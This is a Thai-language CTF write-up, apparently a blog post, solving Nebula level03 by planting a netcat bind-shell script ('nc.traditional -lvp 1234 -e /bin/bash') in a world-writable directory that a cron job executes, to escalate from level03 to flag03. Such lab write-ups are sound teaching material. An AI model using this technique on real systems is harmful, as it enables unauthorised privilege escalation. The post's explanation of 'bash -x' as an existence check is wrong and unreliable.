Nebula เลเวล 03: ลองแฮกช่องโหว่ใน crontab

Pichaya Morimoto
4 min readMay 31, 2016

--

คราวนี้มาลองดูอีกช่องโหว่ที่น่าสนใจกันครับ ข้อนี้จากโจทย์บอกว่าใน ระบบจะมี crontab อันนึง คอยทำงานทุก ๆ 1 นาที และให้เราเข้าไปเช็คไฟล์ใน /home/flag03/ เพื่อหาข้อมูลต่าง ๆ เพิ่มเติมครับ

เนื่องจากบทความนี้คาดหวังว่าผู้อ่านอาจมีนักเรียนหรือนักศึกษาที่ยังไม่มีพื้นฐานทางด้านลินุกซ์ ก่อนอื่นขออธิบายว่า cron คืออะไรก่อนนะครับ

Cron คือ…

ระบบที่ตั้งเวลาในลินุกซ์ ว่าจะให้สั่ง command หรือเปิดโปรแกรมใด ๆ ในทุก ๆ ช่วงเวลาเท่าไร เช่น ให้ restart web server ทุก 7 วัน หรือให้ rotate log file ทุก ๆ 30 วัน เป็นต้นนะครับ โดยปกติแล้ว user จะสามารถที่จะแก้ไขสิ่งที่จะให้ cron ทำหรือเรียกว่า cron job นั้นแหละ ได้จากโปรแกรมชื่อ crontab ย่อมาจาก cron table คิดง่าย ๆ ว่าเป็นตารางงานที่ต้องทำนั้นเอง ใครสนใจอ่านเพิ่มเติมได้ใน wikipedia หรือลองกูเกิลหาดูครับ

เอาละพอลองสำรวจที่ /home/flag03/ ดูก็เจอ…

$ ls -l /home/flag03/
total 1
drwxrwxrwx 1 flag03 flag03 40 May 31 04:06 writable.d
-rwxr-xr-x 1 flag03 flag03 98 Nov 20 2011 writable.sh

มี directory เปล่า ๆ ชื่อ writable.d กับ shell script ชื่อ writable.sh ครับ

$ cat writable.sh
#!/bin/sh
for i in /home/flag03/writable.d/* ; do
(ulimit -t 5; bash -x "$i")
rm -f "$i"
done

พอถึงจุดนี้ย้อนกลับไปอ่านโจทย์ใหม่ ที่บอกว่ามี crontab งานนึงคอยทำงานทุก ๆ 1 นาที ก็ พอเดาได้ว่าน่าจะเป็น shell script อันนี้แหละครับ เพราะว่า เป็นของ flag03 เป้าหมายของ user ที่เราต้องยกระดับสิทธิ์ไป ขออธิบายคร่าว ๆ ว่าโค้ดนี้ทำอะไรนะครับ

  1. มีการวนลูป เรียกเอาไฟล์แต่ละไฟล์ ที่อยู่ใน directory ณ /home/flag03/writable.d/ มาเป็นตัวแปร i ครับ
for i in /home/flag03/writable.d/* ; do
[...]
done

2. เอาไฟล์แต่ละไฟล์ที่เจอนั้นมาเรียกให้ทำงาน ด้วย bash แต่ก่อนจะเรียกนั้นมีการตั้งค่า ulimit ก่อน

(ulimit -t 5; bash -x "$i")

เกร็ดเล็กน้อย เจ้า ulimit ตัวนี้ไม่ใช่โปรแกรม มันไม่มี binary ไฟล์เป็นของตัวเองครับ เป็น built-in shell command ขนานแท้ ไม่เชื่อลองสั่ง

$ which ulimit

ดูครับ จะพบว่าไม่มีการตอบกลับมาเป็น path ใด ๆ .. เกร็ดเพิ่มเติมอีก! ถ้าใน FreeBSD อาจจะเจอ path ไม่ต้องตกใจมันเป็น shell script ที่เรียกคำสั่ง built-in ulimit พร้อมออฟชั่นเพิ่มเติมอีกทีครับ (เป็น wrapper เฉย ๆ)

กลับมาเข้าเรื่องสำคัญดีกว่าว่า ulimit คืออะไร! ulimit ใช้สำหรับกำหนดค่า resource หลาย ๆ อย่างที่ยอมให้ใช้ได้ใน shell session นั้น ๆ ครับ เช่นถ้าอยากให้ใช้ memory ได้มากสุดเท่าไร ให้สร้างไฟล์ขนาดใหญ่ได้ไม่เกินเท่าไร เป็นต้นครับ แล้วทีนี้ ว่าแต่ออฟชั่น -t คืออะไร? อยากรู้ก็ลองสั่งด้วยออฟชั่น -a ดูครับ

$ ulimit -a
core file size (blocks, -c) 0
data seg size (kbytes, -d) unlimited
scheduling priority (-e) 0
file size (blocks, -f) unlimited
pending signals (-i) 5861
max locked memory (kbytes, -l) 64
max memory size (kbytes, -m) unlimited
open files (-n) 1024
pipe size (512 bytes, -p) 8
POSIX message queues (bytes, -q) 819200
real-time priority (-r) 0
stack size (kbytes, -s) 8192
cpu time (seconds, -t) unlimited
max user processes (-u) 5861
virtual memory (kbytes, -v) unlimited
file locks (-x) unlimited

จะพบว่า -t คือ cpu time ว่าให้ โปรแกรมนั้นทำงานได้นานที่สุดกี่วินาที กำหนดเป็น -t 5 คือ 5 วินาทีนั้นเอง ส่วน bash -x นี้ก็ลองเปิด manual ดูครับ

$ man bash[…]     -x file
True if file exists and is executable.
[..]

พบว่ามันคือแค่ return exit code ออกมาเป็น true ถ้าไฟล์นั้นมีอยู่และสามารถรันได้ (มี x:executable bit) แต่สิ่งสำคัญคือการทำแบบนี้โดยใช้คำสั่ง bash คือนอกจากจะเช็คว่าไฟล์นั้นมีอยู่และรันได้แล้ว มันยังรันไฟล์นั้นจริง ๆ ด้วยครับ! ช่องโหว่มันอยู่ตรงนี้แหละ เพราะว่า directory ที่มันหยิบไฟล์มา ที่ /home/flag03/writable.d/ ดันตั้งค่าสิทธิ์ยอมให้ใครก็ได้เขียนไฟล์ลงไปได้ซะงั้น

$ ls -la /home/flag03/writable.d/
total 0
drwxrwxrwx 1 flag03 flag03 40 May 31 04:06 .
drwxr-x — — 1 flag03 level03 60 Nov 20 2011 ..

สังเกตจาก . นะครับ ที่แปลว่า current working directory (cwd) ของเจ้า /writable.d/ นั้นแหละ มี d bit บอกว่าเป็น directory แล้ว สิทธิ์เป็น 777 หรือ rwx ติดกันยาวแบบนี้ แปลว่า rwx ตัวสุดท้าย หมายถึง ใคร ๆ ก็มีสิทธิ์ อ่าน เขียน หรือรันไฟล์ในทีนี้ได้ คราวนี้ก็ พอจะนึกออกกันแล้ว ใช่ไหมครับว่าจะแฮกกันยังไงดี?

โจมตีพร้อมทั้งสร้าง backdoor ทิ้งไว้

อีกแล้วเหมือนข้อที่แล้วคือ มีวิธีทำได้หลายรูปแบบครับ ถ้าไปอ่านเฉลยที่อื่นก็อาจจะใช้วิธีต่าง ๆ กันไม่ต้องตกใจ จุดประสงค์มีแค่ยึดสิทธิ์ของ flag03 แล้วเรียก getflag ให้ได้เท่านั้นพอครับ วิธีที่ผมจะทำคือท่านี้ครับ

$ echo "nc.traditional -lvp 1234 -e /bin/bash" > /home/flag03/writable.d/.longcatz.sh

จากนั้นกลั้นหายใจรอ 1 นาที เอ๊ย รอ 1 นาทีเฉย ๆ ครับ ใครใจร้อนก็ ls -la ดูเรื่อย ๆ ก็ได้ว่าไฟล์โดนลบไปรึยัง เพราะว่าหลังจาก รันคำสั่งเสร็จแล้ว เจ้า shell script ที่มีช่องโหว่นี้จะ

rm -f "$i"

ลบไฟล์ที่รันเสร็จแล้วนั้นออกด้วยครับ พอครบ 1 นาทีแล้วลองเช็คด้วย netstat

$ netstat -antu |grep 1234
tcp 0 0 0.0.0.0:1234 0.0.0.0:* LISTEN -

พบว่ามี TCP port 1234 เปิดอยู่ เอ๊ะมันคืออะไรนี้ผมขออธิบายเลยละกัน สิ่งที่ผมทำจาก

$ echo "nc.traditional -lp 1234 -e /bin/bash" > /home/flag03/writable.d/.longcatz.sh

คือ การสร้างไฟล์ ชื่อ .longcatz.sh โดยให้ไฟล์นี้ทำการเรียก nc.traditional ตัวนี้คือ netcat นั้นเอง ถ้าใครเคยใช้มาก่อนเป็น โปรแกรมเจ๋ง ๆ ตัวนึงที่ไว้ ต่อเข้า TCP ที่ port ไหนก็ได้ ส่งค่าอะไรที่เราอยากส่งไปแบบ manual หรือใช้ในการเปิด port (ถ้ามีสิทธิ์) รอรับ connection ครับ ในทีนี้ผมใช้ออฟชั่น

  • -l ย่อมาจาก listening คือทำตัวเป็น server การรอรับการเชื่อมต่อ
  • -p คือ TCP port ที่เราจะทำการ listening ไว้ครับ ถ้าไม่ได้เป็นสิทธิ์ root ต้องใช้ port ต่ำกว่า 1024 (แต่จริง ๆ ไม่เป็น root ก็เปิดได้นะครับ ไหนใครรู้ทำไง ลองคอมเม้นไว้ได้เลย เชิญชวนให้ไปลองหาวิธีครับ :P) ผมใช้ port 1234
  • -e คือ โปรแกรมที่จะสั่งให้ทำงานหลังจากเชื่อมต่อเข้ามาทาง TCP port ที่เปิดไว้ครับ

ส่วนใครสงสัยว่าทำไมผมถึงใช้ nc.traditional ทำไมไม่ใช้ nc ธรรมดาแล้วตัวนี้มันต่างกับ nc ธรรมดายังไง จริง ๆ nc ในลินุกซ์ดิสโทรเก่า ๆ มันเป็นตัวนี้ครับ nc.traditional แต่มันมีคนไปแก้ทำ nc อีกเวอร์ชั่นที่เอาออฟชั่นบางอย่างออกเพราะเค้าเห็นว่ามีแล้วมันจะมีความเสี่ยงทำให้ระบบไม่ปลอดภัยเพราะ nc มักจะติดมากับลินุกซ์โดยเริ่มต้น แล้วตั้งชื่อเป็นตัวเลือกว่า nc.openbsd ครับ ซึ่งก็ขึ้นอยู่กับลินุกซ์ดิสโทรที่เราใช้ว่ามันจะ symlink ไปเข้าอันไหน แต่ส่วนใหญ่ดิสโทรใหม่ ๆ ไป nc.openbsd หมดแล้วครับ ซึ่งมันใช้ -e ไม่ได้ดังนั้นผมเลยเลือกที่จะใช้ nc.traditional ครับและคนสร้าง Nebula เค้ารู้ใจผม ลงไว้ให้เรียบร้อยด้วย ;)

สรุปสิ่งที่ผมทำก็คือใส่คำสั่งให้ ใช้ netcat เปิด server ที่ TCP port 1234 ถ้ามีคนต่อเข้ามาที่ port นี้ปุ๊บจะทำการ spawn bash shell ทันทีครับ ซึ่ง bash shell นี้จะถูกรันโดยสิทธิ์ของคนที่รัน netcat นี้ทิ้งไว้ ซึ่งคือ user flag03 ที่เป็นเจ้าของ cron job ที่รันทุก 1 นาที นั้นครับ จากนั้นผมจึงลอง ใช้ nc อีกครั้งแต่คราวนี้ไม่ได้เปิด server แล้วแต่ใช้เป็น client ต่อเข้าไป port ที่เปิดไว้ในเครื่องเดียวกันแทน (หรือจะเข้ามาจากเครื่องข้างนอก Nebula ก็ได้นะ ใส่ private IP ไปถ้ามัน route ถึงกัน ถ้าจาก VM host ก็ถึงอยู่แล้ว)

$ id
uid=1004(level03) gid=1004(level03) groups=1004(level03)
$ nc localhost 1234
id
uid=996(flag03) gid=996(flag03) groups=996(flag03)
getflag
You have successfully executed getflag on a target account

ผลคือผมสามารถที่จะยกระดับสิทธิ์จาก level03 เป็น flag03 ได้สำเร็จครับ ช่องโหว่นี้เกิดจากการเขียน shell script ที่ไม่ปลอดภัยมารันใน crontab ยอมให้รันไฟล์ที่ใครก็ได้สร้างได้ o+rwx นั้นเอง แต่แทนที่ผมจะ spawn shell ธรรมดา เราจะเข้าไป interact ตรง ๆ ไม่ได้ครับ เนื่องจากมันจะเป็น sub-process ของ user flag03 อีกที ทำให้เราต้องใช้ลูกเล่นนิดนึง กับ netcat ในการเข้าไปใช้ shell ที่เรา spawn ออกมาได้จากการต่อเข้า TCP port ไปครับ เทคนิคอื่น ๆ ก็เช่นเราอาจจะให้รัน shell script ที่ compile backdoor.c และตั้ง SetUID เพิ่มเข้าไปหรือทำ reverse shell ครับ

เลเวลนี้สอนให้เรารู้ว่าการจะสั่งรัน crontab ใด ๆ ควรตรวจสอบให้แน่ใจว่า…

  • โปรแกรมหรือคำสั่งใน cronjob นั้นไม่ได้มีช่องโหว่ หรือมีโอกาสโดนแฮกโดนวาง backdoor จาก user อื่นในระบบได้ครับ อย่างในกรณีนี้ตัวสคริปท์ writable.sh มีช่องโหว่ เพราะว่าดันใช้คำสั่ง bash -x “$i” ในการเช็คว่าไฟล์มีและรันได้รึเปล่า แต่ลืมนึกไปว่า การทำแบบนี้มันจะเอาไฟล์ไปรันจริง ๆ ด้วย bash อีกด้วย!
  • directory ที่รัน cronjob ควรตั้งค่าให้ปลอดภัย ให้คนมีสิทธิ์เขียนไฟล์ลงได้เท่านั้น ไม่ใช่ใครก็เขียนไฟล์ลงได ้แบบ writable.d

ข้อนี้ก็แสดงตัวอย่างให้เห็นจริง ๆ ว่าถ้ามีช่องโหว่ จะสามารถโดนโจมตีได้อย่างไรครับ

ที่มา: https://exploit-exercises.com/nebula/level03/

--

--